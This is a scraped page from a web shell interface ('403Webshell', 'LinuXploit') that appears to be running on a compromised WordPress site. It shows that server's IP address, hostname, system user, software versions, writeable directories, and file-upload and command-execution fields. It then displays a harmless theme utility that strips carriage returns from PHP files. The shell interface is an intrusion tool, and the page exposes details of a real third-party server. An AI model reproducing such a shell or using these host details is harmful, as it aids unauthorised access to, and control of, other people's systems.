403Webshell
Server IP : 212.183.175.188  /  Your IP : 216.73.217.18
Web Server : Apache
System : Linux duemilacom6.interac.it 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
User : cvevolpi ( 10022)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/cvevolpi.it/httpdocs/wp-content/themes/sentinel/install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/cvevolpi.it/httpdocs/wp-content/themes/sentinel/install/slashRremover.php
<?php

exit;

// This file should be used only before update

$root = dirname( dirname( __FILE__ ) );
$possible_ext = array( 'php'/*, 'txt', 'css', 'js', 'html', 'htm'*/ );

function fileExt($filename){
	if( FALSE == strpos($filename, '.') ){
		return '';
	}
	$e = explode(".", $filename);
	$e = $e[ count($e) - 1 ];
	return $e;
}

function checkSlashRN( $dir ){
	global $possible_ext;
	echo "<ul>";
	$d = dir($dir);
	//echo "Path: " . $d->path . "\n";
	while (false !== ($entry = $d->read())) {
		if( '..' == $entry ) continue;
		if( '.' == substr($entry, 0, 1) ) continue;

		if( is_dir( $dir.'/'.$entry ) ){
			echo "<li>DIR $entry";
			checkSlashRN( $dir.'/'.$entry );
			echo "</li>";
		}else{
			if ( in_array( fileExt($entry), $possible_ext) ) {
				echo "<li>";
				$c = file_get_contents($dir.'/'.$entry);
				if( FALSE === strpos($c,"\r") ){
					echo '<span style="color:Silver">'.$entry.'</span>';
				}else{
					$c = str_replace("\r","",$c);
					file_put_contents($dir.'/'.$entry, $c);
					echo $entry;
				}
				echo "</li>";
			}else{
				/*
				echo "<li>";
				echo '<span style="color:Silver">'.$entry.'</span>';
				echo "</li>";
				//*/
			}
		}
	}
	$d->close();
	echo "</ul>";
}

checkSlashRN($root);

Youez - 2016 - github.com/yon3zu
LinuXploit